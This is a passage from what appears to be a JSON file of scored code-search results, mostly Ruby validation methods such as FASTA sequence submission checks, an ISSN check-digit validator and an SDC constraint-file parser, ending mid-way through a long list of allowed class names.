self.siad_params_validation = nil\n aux\n end", "title": "" }, { "docid": "548660a82a4e11642c1afa7e8a5b98b1", "score": "0.48250273", "text": "def validation_submission(params)\n\n possible_errors = Array.new\n\n aa_seq_array = is_sequence_empty(params[:aa_sequence], params[:aa_fasta])\n puts \"aa_seq_array => #{aa_seq_array}\"\n # if user submit more than 20 sequence at time, return error immediately\n if !aa_seq_array.nil? and aa_seq_array.length > 20\n possible_errors << \"You submitted more than 20 amino acid sequences. While, we only accept 20 amino acid sequences or less per submission.\"\n return possible_errors\n end\n\n nt_seq_array = is_sequence_empty(params[:nt_sequence], params[:nt_fasta])\n puts \"nt_seq_array => #{nt_seq_array}\"\n if !nt_seq_array.nil? and nt_seq_array.length > 20\n possible_errors << \"You submitted more than 20 nucleotide sequences. While, we only accept 20 nucleotide sequences or less per submission.\"\n return possible_errors\n end\n\n\n if aa_seq_array.nil? or nt_seq_array.nil?\n possible_errors << \"Either your amino acid sequence or nucleotide sequence are empty\"\n return possible_errors\n end\n\n # Check aa sequence \n aa_sequence_hash = Hash.new\n header_array = Array.new\n accession_no_array = Array.new\n invalid_definition = \"\"\n invalid_sequence = \"\"\n aa_seq_array.each do |fasta_sequence|\n query = Bio::FastaFormat.new( fasta_sequence )\n aa_sequence_definition = parse_definition(query.definition)\n\n aa_sequence = validate_seq(query.to_seq.seq,\"aa\") # fail return nil; success return 0\n # puts \"validation aa_sequence => #{aa_sequence}\"\n if aa_sequence_definition.nil?\n invalid_definition += \"#{query.definition}\\n\"\n end\n\n if aa_sequence.nil?\n invalid_sequence += \"#{query.definition}\\n\"\n end\n\n if !aa_sequence_definition.nil? and !aa_sequence.nil?\n aa_sequence_hash[aa_sequence_definition[0]] = query.to_seq.seq\n\n header_array << aa_sequence_definition[0].strip\n accession_no_array << aa_sequence_definition[1].strip\n end\n \n end\n \n if invalid_definition.length > 0 or invalid_sequence.length > 0\n # something wrong with aa sequence field\n invalid_submission_msg = \"Your following amino acid sequences are not following our submission rules\\n\"\n if invalid_definition.length > 0\n invalid_submission_msg += \"Failed fasta format:\\n #{invalid_definition}\"\n end\n if invalid_sequence.length > 0\n invalid_submission_msg += \"Failed amino acid sequence:\\n #{invalid_sequence}\"\n end\n\n possible_errors << invalid_submission_msg\n\n return possible_errors\n\n end\n\n # check uniqueness of header\n duplicate_header = check_uniqueness_of_header(header_array)\n if duplicate_header.length != 0\n invalid_submission_msg = \"Your following amino acid sequences have duplicate header:\\n\"\n duplicate_header.each do |d_header|\n invalid_submission_msg += \"#{d_header}\\n\"\n end\n\n possible_errors << invalid_submission_msg\n \n return possible_errors\n end\n\n # check if the accession number is validate or not\n # we only check the correctness of aa accession number; not gene; since we only care one accession number\n invalid_accession_num = validate_accession_numbers(accession_no_array, \"aa\")\n if invalid_accession_num.length != 0\n invalid_submission_msg = \"Your following amino acid sequences have invalid accession number from NCBI. Please check NCBI protein database:<br>\"\n invalid_accession_num.each do |accession_no|\n invalid_submission_msg += \"#{accession_no}<br>\"\n end\n\n possible_errors << invalid_submission_msg\n \n return possible_errors\n end\n\n ########################################################################################\n # Check nt sequence\n nt_sequence_hash = Hash.new\n header_array = Array.new\n accession_no_array = Array.new\n invalid_definition = \"\"\n invalid_sequence = \"\"\n nt_seq_array.each do |fasta_sequence|\n query = Bio::FastaFormat.new( fasta_sequence )\n nt_sequence_definition = parse_definition(query.definition)\n nt_sequence = validate_seq(query.to_seq.seq,\"nt\")\n \n # puts \"validation nt_sequence => #{nt_sequence}\"\n if nt_sequence_definition.nil?\n invalid_definition += \"#{query.definition}\\n\"\n end\n\n if nt_sequence.nil?\n invalid_sequence += \"#{query.definition}\\n\"\n end\n\n if !nt_sequence_definition.nil? and !nt_sequence.nil?\n nt_sequence_hash[nt_sequence_definition[0]] = query.to_seq.seq\n\n header_array << nt_sequence_definition[0].strip\n accession_no_array << nt_sequence_definition[1].strip\n end\n end\n\n if invalid_definition.length > 0 or invalid_sequence.length > 0\n # something wrong with aa sequence field\n invalid_submission_msg = \"Your following nucleotide sequences are not following our submission rules\"\n if invalid_definition.length > 0\n invalid_submission_msg += \"Failed fasta format:\\n #{invalid_definition}\"\n end\n if invalid_sequence.length > 0\n invalid_submission_msg += \"Failed nucleotide sequence:\\n #{invalid_sequence}\"\n end\n\n possible_errors << invalid_submission_msg\n return possible_errors\n end\n \n duplicate_header = check_uniqueness_of_header(header_array)\n if duplicate_header.length != 0\n invalid_submission_msg = \"Your following nucleotide sequences have duplicate header:\\n\"\n duplicate_header.each do |d_header|\n invalid_submission_msg += \"#{d_header}\\n\"\n end\n \n possible_errors << invalid_submission_msg\n \n return possible_errors\n end\n\n invalid_accession_num = validate_accession_numbers(accession_no_array, \"nt\")\n if invalid_accession_num.length != 0\n invalid_submission_msg = \"Your following nucleotide sequences have invalid accession number from NCBI. Please check NCBI protein database:<br>\"\n invalid_accession_num.each do |accession_no|\n invalid_submission_msg += \"#{accession_no}<br>\"\n end\n\n possible_errors << invalid_submission_msg\n \n return possible_errors\n end\n\n\n\n # check missing sequence\n missing_aa_sequence, missing_nt_sequence = check_matchness(aa_sequence_hash,nt_sequence_hash)\n # puts \"missing_aa_sequence => #{missing_aa_sequence}\"\n # puts \"missing_nt_sequence => #{missing_nt_sequence}\"\n missing_seq_string = \"\"\n if missing_aa_sequence.length > 0\n missing_seq_string += \"You are missing following amino acid sequence based on your nucleotide sequence:\\n\"\n missing_aa_sequence.each do |aa_seq_name|\n missing_seq_string += \"#{aa_seq_name}\\n\"\n end\n end\n\n if missing_nt_sequence.length > 0\n missing_seq_string += \"You are missing following nucleotide sequence based on your amino acid sequence:\\n\"\n missing_nt_sequence.each do |nt_seq_name|\n missing_seq_string += \"#{nt_seq_name}\\n\"\n end\n end\n\n if missing_seq_string.length > 0\n possible_errors << missing_seq_string\n end\n\n\n\n # if error, return error\n # else, return aa_array and nt_array \n if possible_errors.length > 0\n return possible_errors\n else\n aa_nt_array = Hash.new\n aa_nt_array[\"aa\"] = aa_seq_array\n aa_nt_array[\"nt\"] = nt_seq_array\n return aa_nt_array\n end\n\n end", "title": "" }, { "docid": "2bbb00393eca0c0e1c1a39a7cd0794dc", "score": "0.4821496", "text": "def validate_if_segment\n return unless owner.type.nil?\n\n dirs = component_dir_paths.map { |p| base_name(p) }\n files = component_file_paths.map { |p| base_name(p) }\n (files - dirs).each { |path| search_path.join(path).mkdir }\n (dirs - files).each { |path| FileUtils.touch(search_path.join(\"#{path}.yml\")) }\n end", "title": "" }, { "docid": "27ea2a0eee0f97c5c53001f3b7939fc7", "score": "0.48175308", "text": "def valid; end", "title": "" }, { "docid": "76754dd3762682a36caea0af0135c8bd", "score": "0.48148444", "text": "def set_segment_rule\n @segment_rule = SegmentRule.find(params[:id])\n end", "title": "" }, { "docid": "8d3469e26be8ef23bbf9e5d9840cbe50", "score": "0.48136133", "text": "def validate\n\t\t\t# time always exists\n\t\t\tsyms = { 't' => Parameter.new('t', 0) }\n\t\t\tidents = []\n\t\t\t@species.each {|k, v| syms[k] = v}\n\t\t\t@parameters.each do |k, v| \n\t\t\t\traise \"Parameter and species share id: #{k}\" if syms[k]\n\t\t\t\tsyms[k] = v\n\t\t\tend\n\t\t\tsyms.each do |k, v|\n\t\t\t\traise \"Symbol #{v.to_s} mapped to wrong id: #{k}\" if v.name != k\n\t\t\tend\n\n\t\t\trule_output_names = {}\n\n\t\t\t@rules.each do |rule|\n\t\t\t\tif rule_output_names.key? (rule.output.name)\n\t\t\t\t\traise \"Two rules for one output (#{rule.output.name})\"\n\t\t\t\tend\n\t\t\t\trule_output_names[rule.output.name] = 1\n\n\t\t\t\tif !syms.key?(rule.output.name)\n\t\t\t\t\traise \"rule #{rule.to_s} has undefined output: #{rule.output.name}\"\n\t\t\t\tend\n\n\t\t\t\tif syms[rule.output.name] != rule.output\n\t\t\t\t\traise \"Inconsistent model: rule #{rule.to_s} does not output to the correct variable #{syms[rule.output.name]}\"\n\t\t\t\tend\n\n\t\t\t\trule.equation.all_idents.each do |id|\n\t\t\t\t\tidents = idents | [id]\n\t\t\t\t\tif !syms.key?(id)\n\t\t\t\t\t\traise \"rule #{rule.to_s} has undefined input: #{id}\"\n\t\t\t\t\t# else\n\t\t\t\t\t# \tputs \"#{id} used in #{rule.to_s}\\n\"\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tunused = idents.reject { |e| syms.key?(e) }\n\t\t\tunused = unused | (syms.keys.reject { |e| idents.index(e) })\n\t\t\t# dawn dusk and force are in every model (at least after sassy opens it)\n\t\t\tunused = unused.reject { |e| e == 't' || e == 'dawn' || e == 'dusk' || e == 'force' \\\n\t\t\t\t|| rule_output_names.key?(e) || @species.key?(e) }\n\t\t\tif unused.length > 0\n\t\t\t\tputs \"[W] Model has unused symbols: #{unused}\\n\"\n\t\t\tend\n\t\t\tself\n\t\tend", "title": "" }, { "docid": "4b00aa353cc8bcffb8a8a58c806ee39d", "score": "0.4785774", "text": "def vdate_std_code_phone(std,phone)\n validates_numericality_of std , :only_integer => true ,\n :message => \"^STD Code only numerals no + sign\"\n validates_numericality_of phone , :only_integer => true , :message => \"^Field Phone can have only numerals\"\n\n validates_length_of std , :maximum => 5 , :message => \"^Field STD Code contains more than 5 digits\"\n validates_length_of phone , :maximum => 10 , :message => \"^Field Phone contains more than 10 digits\"\n=begin\nTODO - correct the following code to insert the logic of phone number validation\n if(phone.length == 10)# mobile phone number \n errors.add(std,'must be 91 if a cell phone number') if std != 91\n else\n# TODO - make sure first character in not ZERO. => same logic as in case to check the sign \n end\n=end\nend", "title": "" }, { "docid": "699eb24458cf23f97beb0178e962e33b", "score": "0.47631085", "text": "def exercise2\n parse_data PositionalValidator\n validators.count(&:valid?)\n end", "title": "" }, { "docid": "050ef676f2e691d0372b54201e8ba5c5", "score": "0.4728266", "text": "def analize\n \n printf(\"@I:analize sdc file\\n\")\n @SDC_DATA.each{|line|\n\n next if line == nil\n const_each = ConstEach.new\n line = line.strip\n if /^if/ =~ line || /^\\} else/ =~ line || /^\\}/ =~ line \n #\n # !!Caution!! Now, not support!!\n #\n elsif /^#/ =~ line || line == \"\"\n elsif /define_scope_collection/ =~ line\n #\n # !!Caution!! Now, not support!!\n #\n elsif /define_clock/ =~ line\n /^define_clock\\s*\\{\\s*(\\S+)\\s*\\}\\s*-name\\s*\\{\\s*(\\S+)\\s*\\}\\s*-([a-zA-Z]*)\\s*(\\S+)\\s*.*/ =~ line\n if $1 == nil || $2 == nil || $3 == nil \n printf(\"@Internal error. (file:%s,line:%s)\\n\",__FILE__,__LINE__)\n exit\n else\n const_each.SDC = line\n const_each.SDCAttribute = \"define_clock\"\n const_each.Signal_mod = name_reverse($1)\n const_each.ClockName = $2\n const_each.Period = $4 if $3 == \"period\" \n const_each.Freq = $4 if $3 == \"freq\"\n @SDC_DB.define_clock[\"#{line}\"] = const_each\n end\n\n elsif /^define_attribute/ =~ line \n /^define_attribute\\s+\\{\\s*(\\S*)\\s*\\}\\s*\\{([a-zA-Z_]*)\\}\\s+\\{\\s*(\\d*)\\s*\\}\\s*/ =~ line\n const_each.SDC = line\n p line\n if $1 == nil\n printf(\"@Internal error. (file:%s,line:%s)\\n\",__FILE__,__LINE__)\n exit\n end\n const_each.Pin_mod = name_reverse($1)\n const_each.SDCAttribute = $2 \n case const_each.SDCAttribute\n when \"xc_pulldown\" then\n @SDC_DB.xc_pulldown[\"#{line}\"] = const_each\n when \"xc_pullup\" then\n @SDC_DB.xc_pullup[\"#{line}\"] = const_each\n when \"xc_pulldown\" then\n @SDC_DB.xc_pulldown[\"#{line}\"] = const_each\n when \"syn_keep\" then\n @SDC_DB.syn_keep[\"#{line}\"] = const_each\n when \"syn_noclockbuf\" then\n @SDC_DB.syn_noclockbuf[\"#{line}\"] = const_each\n else\n printf(\"@Internal error. (file:%s,line:%s)\\n\",__FILE__,__LINE__)\n exit\n end\n\n elsif /^define_attribute/ =~ line \n /^define_attribute\\s+\\{\\s*(\\S*)\\s*\\}\\s*([a-zA-Z_]*)\\s+\\{\\s*(\\d*)\\s*\\}\\s*/ =~ line\n const_each.SDC = line\n const_each.Pin_mod = name_reverse($1)\n const_each.SDCAttribute = $2 \n case const_each.SDCAttribute\n when \"xc_pulldown\" then\n @SDC_DB.xc_pulldown[\"#{line}\"] = const_each\n when \"xc_pullup\" then\n @SDC_DB.xc_pullup[\"#{line}\"] = const_each\n when \"xc_pulldown\" then\n @SDC_DB.xc_pulldown[\"#{line}\"] = const_each\n when \"syn_keep\" then\n @SDC_DB.syn_keep[\"#{line}\"] = const_each\n when \"syn_noclockbuf\" then\n @SDC_DB.syn_noclockbuf[\"#{line}\"] = const_each\n else\n printf(\"@Internal error. (file:%s,line:%s)\\n\",__FILE__,__LINE__)\n exit\n end\n elsif /^define_multicycle_path/ =~ line \n const_each.SDC = line\n if(( /^define_multicycle_path\\s*#{SDCCtrl::THROUGH}#{SDCCtrl::THROUGH}#{SDCCtrl::NUM}/=~ line ) != nil)\n const_each.Through1_mod = name_reverse($1)\n const_each.Through2_mod = name_reverse($2)\n const_each.Period = $3\n @SDC_DB.define_multicycle_path[\"#{line}\"] = const_each\n elsif(( /^define_multicycle_path\\s*#{SDCCtrl::FROM}#{SDCCtrl::TO}#{SDCCtrl::NUM}/=~ line ) != nil)\n const_each.From_mod = name_reverse($1)\n const_each.To_mod = name_reverse($2)\n const_each.Period = $3\n @SDC_DB.define_multicycle_path[\"#{line}\"] = const_each\n else\n printf(\"@Internal error. (file:%s,line:%s)\\n\",__FILE__,__LINE__)\n exit\n end\n elsif /^define_false_path/ =~ line\n const_each.SDC = line\n if(( /^define_false_path\\s*#{SDCCtrl::FROM}#{SDCCtrl::THROUGH}#{SDCCtrl::TO}/=~ line ) != nil)\n const_each.From_mod = name_reverse($1)\n const_each.Through1_mod = name_reverse($2)\n const_each.To_mod = name_reverse($3)\n @SDC_DB.define_false_path[\"#{line}\"] = const_each\n elsif(( /^define_false_path\\s*#{SDCCtrl::MTHROUGH}#{SDCCtrl::MTHROUGH}/=~ line ) != nil)\n const_each.Through1_mod = name_reverse($1.split[0])\n const_each.Through1_mod = name_reverse($2.split[0])\n @SDC_DB.define_false_path[\"#{line}\"] = const_each\n elsif(( /^define_false_path\\s*#{SDCCtrl::FROM}#{SDCCtrl::TO}/=~ line ) != nil)\n const_each.From_mod = name_reverse($1)\n const_each.To_mod = name_reverse($2)\n @SDC_DB.define_false_path[\"#{line}\"] = const_each\n elsif(( /^define_false_path\\s*#{SDCCtrl::THROUGH}#{SDCCtrl::TO}/=~ line ) != nil)\n const_each.Through1_mod = name_reverse($1)\n const_each.To_mod = name_reverse($2)\n @SDC_DB.define_false_path[\"#{line}\"] = const_each\n elsif(( /^define_false_path\\s*#{SDCCtrl::THROUGH}/=~ line ) != nil)\n const_each.Through1_mod = name_reverse($1)\n @SDC_DB.define_false_path[\"#{line}\"] = const_each\n elsif(( /^define_false_path\\s*#{SDCCtrl::FROM}/=~ line ) != nil)\n const_each.From_mod = name_reverse($1)\n @SDC_DB.define_false_path[\"#{line}\"] = const_each\n elsif(( /^define_false_path\\s*#{SDCCtrl::TO}/=~ line ) != nil)\n const_each.To_mod = name_reverse($1)\n @SDC_DB.define_false_path[\"#{line}\"] = const_each\n elsif(( /^define_false_path\\s*#{SDCCtrl::MFROM}/=~ line ) != nil)\n const_each.From_mod = name_reverse($1.split[0])\n @SDC_DB.define_false_path[\"#{line}\"] = const_each\n else\n p line\n printf(\"@Internal error. (file:%s,line:%s)\\n\",__FILE__,__LINE__)\n exit\n end\n elsif /^define_global_attribute/ =~ line\n const_each.SDC = line\n if(( /^define_global_attribute\\s+(\\S+)\\s+\\{\\d+\\}/=~ line ) != nil)\n const_each.SDCAttribute = $1\n @SDC_DB.define_global_attribute[\"#{line}\"] = const_each\n else\n printf(\"@Internal error. (file:%s,line:%s)\\n\",__FILE__,__LINE__)\n exit\n end\n else\n p line\n printf(\"@Internal error. (file:%s,line:%s)\\n\",__FILE__,__LINE__)\n exit\n end\n get_MacroName(const_each) # make Macro Name from signal\n }\n printf(\"@I:analize sdc file Done\\n\")\n\n # make each size\n make_size\n\n end", "title": "" }, { "docid": "2142aae31de365cbde4e59648ec86f20", "score": "0.4727774", "text": "def validate\n validate_root\n validate_associated\n valid?\n end", "title": "" }, { "docid": "12426c90bab31e5abe0e6594386177ec", "score": "0.47206387", "text": "def set_segmentation\n @segmentation = Segmentation.find(params[:id])\n\t\t\t@segmentation_condition = SegmentationCondition.new\n end", "title": "" }, { "docid": "5f7d2f95f10ac15b2bc4b0cfe64b76db", "score": "0.47017127", "text": "def validate\n\n end", "title": "" }, { "docid": "69b2601e38d18e3a630088b5529fb7e9", "score": "0.46989575", "text": "def valid?\n return false if @class_id.nil?\n class_id_validator = EnumAttributeValidator.new('String', [\"vnic.FcIf\"])\n return false unless class_id_validator.valid?(@class_id)\n return false if @object_type.nil?\n object_type_validator = EnumAttributeValidator.new('String', [\"vnic.FcIf\"])\n return false unless object_type_validator.valid?(@object_type)\n return false if !@name.nil? && @name.to_s.length > 31\n return false if !@name.nil? && @name !~ Regexp.new(/^[a-zA-Z0-9\\-\\._:]+$/)\n return false if !@static_wwpn_address.nil? && @static_wwpn_address !~ Regexp.new(/^$|((^20|5[0-9a-fA-F]{1}):([0-9a-fA-F]{2}:){6}([0-9a-fA-F]{2}))/)\n type_validator = EnumAttributeValidator.new('String', [\"fc-initiator\", \"fc-nvme-initiator\", \"fc-nvme-target\", \"fc-target\"])\n return false unless type_validator.valid?(@type)\n return false if !@wwpn.nil? && @wwpn !~ Regexp.new(/^$|((^20|5[0-9a-fA-F]{1}):([0-9a-fA-F]{2}:){6}([0-9a-fA-F]{2}))/)\n wwpn_address_type_validator = EnumAttributeValidator.new('String', [\"POOL\", \"STATIC\"])\n return false unless wwpn_address_type_validator.valid?(@wwpn_address_type)\n true && super\n end", "title": "" }, { "docid": "fca2e3431e521a5db6ebe3321195c699", "score": "0.4677424", "text": "def validate\n end", "title": "" }, { "docid": "fca2e3431e521a5db6ebe3321195c699", "score": "0.4677424", "text": "def validate\n end", "title": "" }, { "docid": "fca2e3431e521a5db6ebe3321195c699", "score": "0.4677424", "text": "def validate\n end", "title": "" }, { "docid": "c75356e6eb9a531e6294f05f56a28d30", "score": "0.4676891", "text": "def validate\n @errors = []\n validate_termination\n validate_freq\n validate_interval\n validate_int_by_list(:bysecond, (0..59))\n validate_int_by_list(:byminute, (0..59))\n validate_int_by_list(:byhour, (0..23))\n validate_int_by_list(:bymonth, (1..12))\n validate_bysetpos\n validate_byday_list\n validate_bymonthday_list\n validate_byyearday_list\n validate_byweekno_list\n validate_wkst\n end", "title": "" }, { "docid": "08dab5af713395148390a3f30a1b6468", "score": "0.46755382", "text": "def isValid\n # check that the amino acid is complete\n nonHydrogenAtoms = self.atoms.select{|atom| atom.atom != \"H\"}\n if (nonHydrogenAtoms.size == AMINO_ACID_SIZES[self.resname])\n @isvalid = true\n end\n puts \"ISVALID : #{self.isvalid} #{nonHydrogenAtoms.size} \"\n end", "title": "" }, { "docid": "2bcadd4769ab3048d75906810a30752d", "score": "0.4672531", "text": "def using_issn_class\n validate_preamble = false\n unless identifier.nil?\n issn = identifier.upcase\n\n # 'ISSN 1234-567X'\n /^(?<preamble>ISSN ){0,1}(?<part_1>\\d{4})-(?<part_2>\\d{3})(?<last>.)$/ =~ issn\n\n if part_1.nil? or part_2.nil? or last.nil? or (preamble.nil? and validate_preamble)\n errors.add(:identifier, \"'#{identifier}' is an improperly formed ISSN.\")\n return\n end\n\n data = part_1 + part_2\n if last == 'X'\n sum = 10\n else\n sum = last.to_i\n end\n index = 8\n\n data.each_char { |c|\n sum += c.to_i * index\n index -= 1\n }\n sum = (sum % 11)\n\n if sum != 0\n errors.add(:identifier, \"'#{identifier}' has bad check digit.\")\n return\n end\n end\n end", "title": "" }, { "docid": "b46f4301634958f3371740245aba7737", "score": "0.4656415", "text": "def diag_required\n return if self.vis_type == TELE_VISIT # patient-created visits have no diagnosis\n hcp_codes = hcp_proc_codes.split(',') rescue nil\n return unless hcp_codes.any?\n hcp_codes.each do |code|\n proc = Procedure.find_by(code: code) \n if proc.diag_req\n errors.add(:diag_code, \"Diagnosis is required for this visit\") if diag_code.blank?\n return\n end\n end\n end", "title": "" }, { "docid": "491efb8aff2cdf34cab96ac42658d659", "score": "0.4631224", "text": "def validate\n end", "title": "" }, { "docid": "bdf28e68ba6dab72ee9b580bb965b3f3", "score": "0.4628757", "text": "def valid?\n return false if @class_id.nil?\n class_id_validator = EnumAttributeValidator.new('String', [\"aaa.AuditRecord\", \"aaa.RetentionConfig\", \"aaa.RetentionPolicy\", \"access.Policy\", \"adapter.ConfigPolicy\", \"adapter.ExtEthInterface\", \"adapter.HostEthInterface\", \"adapter.HostFcInterface\", \"adapter.HostIscsiInterface\", \"adapter.Unit\", \"adapter.UnitExpander\", \"appliance.AppStatus\", \"appliance.AutoRmaPolicy\", \"appliance.Backup\", \"appliance.BackupPolicy\", \"appliance.CertificateSetting\", \"appliance.DataExportPolicy\", \"appliance.DeviceCertificate\", \"appliance.DeviceClaim\", \"appliance.DeviceUpgradePolicy\", \"appliance.DiagSetting\", \"appliance.ExternalSyslogSetting\", \"appliance.FileGateway\", \"appliance.FileSystemStatus\", \"appliance.GroupStatus\", \"appliance.ImageBundle\", \"appliance.NodeInfo\", \"appliance.NodeStatus\", \"appliance.ReleaseNote\", \"appliance.RemoteFileImport\", \"appliance.Restore\", \"appliance.SetupInfo\", \"appliance.SystemInfo\", \"appliance.SystemStatus\", \"appliance.Upgrade\", \"appliance.UpgradePolicy\", \"asset.ClusterMember\", \"asset.Deployment\", \"asset.DeploymentDevice\", \"asset.DeviceClaim\", \"asset.DeviceConfiguration\", \"asset.DeviceConnectorManager\", \"asset.DeviceContractInformation\", \"asset.DeviceRegistration\", \"asset.Subscription\", \"asset.SubscriptionAccount\", \"asset.SubscriptionDeviceContractInformation\", \"asset.Target\", \"bios.BootDevice\", \"bios.BootMode\", \"bios.Policy\", \"bios.SystemBootOrder\", \"bios.TokenSettings\", \"bios.Unit\", \"bios.VfSelectMemoryRasConfiguration\", \"boot.CddDevice\", \"boot.DeviceBootMode\", \"boot.DeviceBootSecurity\", \"boot.HddDevice\", \"boot.IscsiDevice\", \"boot.NvmeDevice\", \"boot.PchStorageDevice\", \"boot.PrecisionPolicy\", \"boot.PxeDevice\", \"boot.SanDevice\", \"boot.SdDevice\", \"boot.UefiShellDevice\", \"boot.UsbDevice\", \"boot.VmediaDevice\", \"bulk.Export\", \"bulk.ExportedItem\", \"bulk.MoCloner\", \"bulk.MoMerger\", \"bulk.Request\", \"bulk.SubRequestObj\", \"capability.AdapterUnitDescriptor\", \"capability.Catalog\", \"capability.ChassisDescriptor\", \"capability.ChassisManufacturingDef\", \"capability.CimcFirmwareDescriptor\", \"capability.EquipmentPhysicalDef\", \"capability.EquipmentSlotArray\", \"capability.FanModuleDescriptor\", \"capability.FanModuleManufacturingDef\", \"capability.IoCardCapabilityDef\", \"capability.IoCardDescriptor\", \"capability.IoCardManufacturingDef\", \"capability.PortGroupAggregationDef\", \"capability.PsuDescriptor\", \"capability.PsuManufacturingDef\", \"capability.ServerSchemaDescriptor\", \"capability.SiocModuleCapabilityDef\", \"capability.SiocModuleDescriptor\", \"capability.SiocModuleManufacturingDef\", \"capability.SwitchCapability\", \"capability.SwitchDescriptor\", \"capability.SwitchManufacturingDef\", \"certificatemanagement.Policy\", \"chassis.ConfigChangeDetail\", \"chassis.ConfigImport\", \"chassis.ConfigResult\", \"chassis.ConfigResultEntry\", \"chassis.IomProfile\", \"chassis.Profile\", \"cloud.AwsBillingUnit\", \"cloud.AwsKeyPair\", \"cloud.AwsNetworkInterface\", \"cloud.AwsOrganizationalUnit\", \"cloud.AwsSecurityGroup\", \"cloud.AwsSubnet\", \"cloud.AwsVirtualMachine\", \"cloud.AwsVolume\", \"cloud.AwsVpc\", \"cloud.CollectInventory\", \"cloud.Regions\", \"cloud.SkuContainerType\", \"cloud.SkuDatabaseType\", \"cloud.SkuInstanceType\", \"cloud.SkuNetworkType\", \"cloud.SkuRegionRateCards\", \"cloud.SkuVolumeType\", \"cloud.TfcAgentpool\", \"cloud.TfcOrganization\", \"cloud.TfcWorkspace\", \"comm.HttpProxyPolicy\", \"compute.BiosPostPolicy\", \"compute.Blade\", \"compute.BladeIdentity\", \"compute.Board\", \"compute.Mapping\", \"compute.PhysicalSummary\", \"compute.RackUnit\", \"compute.RackUnitIdentity\", \"compute.ServerPowerPolicy\", \"compute.ServerSetting\", \"compute.Vmedia\", \"cond.Alarm\", \"cond.AlarmAggregation\", \"cond.HclStatus\", \"cond.HclStatusDetail\", \"cond.HclStatusJob\", \"connectorpack.ConnectorPackUpgrade\", \"connectorpack.UpgradeImpact\", \"convergedinfra.HealthCheckDefinition\", \"convergedinfra.HealthCheckExecution\", \"convergedinfra.Pod\", \"crd.CustomResource\", \"deviceconnector.Policy\", \"equipment.Chassis\", \"equipment.ChassisIdentity\", \"equipment.ChassisOperation\", \"equipment.DeviceSummary\", \"equipment.ExpanderModule\", \"equipment.Fan\", \"equipment.FanControl\", \"equipment.FanModule\", \"equipment.Fex\", \"equipment.FexIdentity\", \"equipment.FexOperation\", \"equipment.Fru\", \"equipment.IdentitySummary\", \"equipment.IoCard\", \"equipment.IoCardOperation\", \"equipment.IoExpander\", \"equipment.LocatorLed\", \"equipment.Psu\", \"equipment.PsuControl\", \"equipment.RackEnclosure\", \"equipment.RackEnclosureSlot\", \"equipment.SharedIoModule\", \"equipment.SwitchCard\", \"equipment.SystemIoController\", \"equipment.Tpm\", \"equipment.Transceiver\", \"ether.HostPort\", \"ether.NetworkPort\", \"ether.PhysicalPort\", \"ether.PortChannel\", \"externalsite.Authorization\", \"fabric.AppliancePcRole\", \"fabric.ApplianceRole\", \"fabric.ConfigChangeDetail\", \"fabric.ConfigResult\", \"fabric.ConfigResultEntry\", \"fabric.ElementIdentity\", \"fabric.EstimateImpact\", \"fabric.EthNetworkControlPolicy\", \"fabric.EthNetworkGroupPolicy\", \"fabric.EthNetworkPolicy\", \"fabric.FcNetworkPolicy\", \"fabric.FcUplinkPcRole\", \"fabric.FcUplinkRole\", \"fabric.FcoeUplinkPcRole\", \"fabric.FcoeUplinkRole\", \"fabric.FlowControlPolicy\", \"fabric.LinkAggregationPolicy\", \"fabric.LinkControlPolicy\", \"fabric.MulticastPolicy\", \"fabric.PcMember\", \"fabric.PcOperation\", \"fabric.PortMode\", \"fabric.PortOperation\", \"fabric.PortPolicy\", \"fabric.ServerRole\", \"fabric.SwitchClusterProfile\", \"fabric.SwitchControlPolicy\", \"fabric.SwitchProfile\", \"fabric.SystemQosPolicy\", \"fabric.UplinkPcRole\", \"fabric.UplinkRole\", \"fabric.Vlan\", \"fabric.Vsan\", \"fault.Instance\", \"fc.PhysicalPort\", \"fc.PortChannel\", \"fcpool.FcBlock\", \"fcpool.Lease\", \"fcpool.Pool\", \"fcpool.PoolMember\", \"fcpool.Universe\", \"feedback.FeedbackPost\", \"firmware.BiosDescriptor\", \"firmware.BoardControllerDescriptor\", \"firmware.ChassisUpgrade\", \"firmware.CimcDescriptor\", \"firmware.DimmDescriptor\", \"firmware.Distributable\", \"firmware.DistributableMeta\", \"firmware.DriveDescriptor\", \"firmware.DriverDistributable\", \"firmware.Eula\", \"firmware.FirmwareSummary\", \"firmware.GpuDescriptor\", \"firmware.HbaDescriptor\", \"firmware.IomDescriptor\", \"firmware.MswitchDescriptor\", \"firmware.NxosDescriptor\", \"firmware.PcieDescriptor\", \"firmware.PsuDescriptor\", \"firmware.RunningFirmware\", \"firmware.SasExpanderDescriptor\", \"firmware.ServerConfigurationUtilityDistributable\", \"firmware.StorageControllerDescriptor\", \"firmware.SwitchUpgrade\", \"firmware.UnsupportedVersionUpgrade\", \"firmware.Upgrade\", \"firmware.UpgradeImpact\", \"firmware.UpgradeImpactStatus\", \"firmware.UpgradeStatus\", \"forecast.Catalog\", \"forecast.Definition\", \"forecast.Instance\", \"graphics.Card\", \"graphics.Controller\", \"hcl.CompatibilityStatus\", \"hcl.DriverImage\", \"hcl.ExemptedCatalog\", \"hcl.HyperflexSoftwareCompatibilityInfo\", \"hcl.OperatingSystem\", \"hcl.OperatingSystemVendor\", \"hcl.SupportedDriverName\", \"hyperflex.Alarm\", \"hyperflex.AppCatalog\", \"hyperflex.AutoSupportPolicy\", \"hyperflex.BackupCluster\", \"hyperflex.CapabilityInfo\", \"hyperflex.CiscoHypervisorManager\", \"hyperflex.Cluster\", \"hyperflex.ClusterBackupPolicy\", \"hyperflex.ClusterBackupPolicyDeployment\", \"hyperflex.ClusterBackupPolicyInventory\", \"hyperflex.ClusterHealthCheckExecutionSnapshot\", \"hyperflex.ClusterNetworkPolicy\", \"hyperflex.ClusterProfile\", \"hyperflex.ClusterReplicationNetworkPolicy\", \"hyperflex.ClusterReplicationNetworkPolicyDeployment\", \"hyperflex.ClusterStoragePolicy\", \"hyperflex.ConfigResult\", \"hyperflex.ConfigResultEntry\", \"hyperflex.DataProtectionPeer\", \"hyperflex.DatastoreStatistic\", \"hyperflex.DevicePackageDownloadState\", \"hyperflex.Drive\", \"hyperflex.ExtFcStoragePolicy\", \"hyperflex.ExtIscsiStoragePolicy\", \"hyperflex.FeatureLimitExternal\", \"hyperflex.FeatureLimitInternal\", \"hyperflex.Health\", \"hyperflex.HealthCheckDefinition\", \"hyperflex.HealthCheckExecution\", \"hyperflex.HealthCheckExecutionSnapshot\", \"hyperflex.HealthCheckPackageChecksum\", \"hyperflex.HxapCluster\", \"hyperflex.HxapDatacenter\", \"hyperflex.HxapDvUplink\", \"hyperflex.HxapDvswitch\", 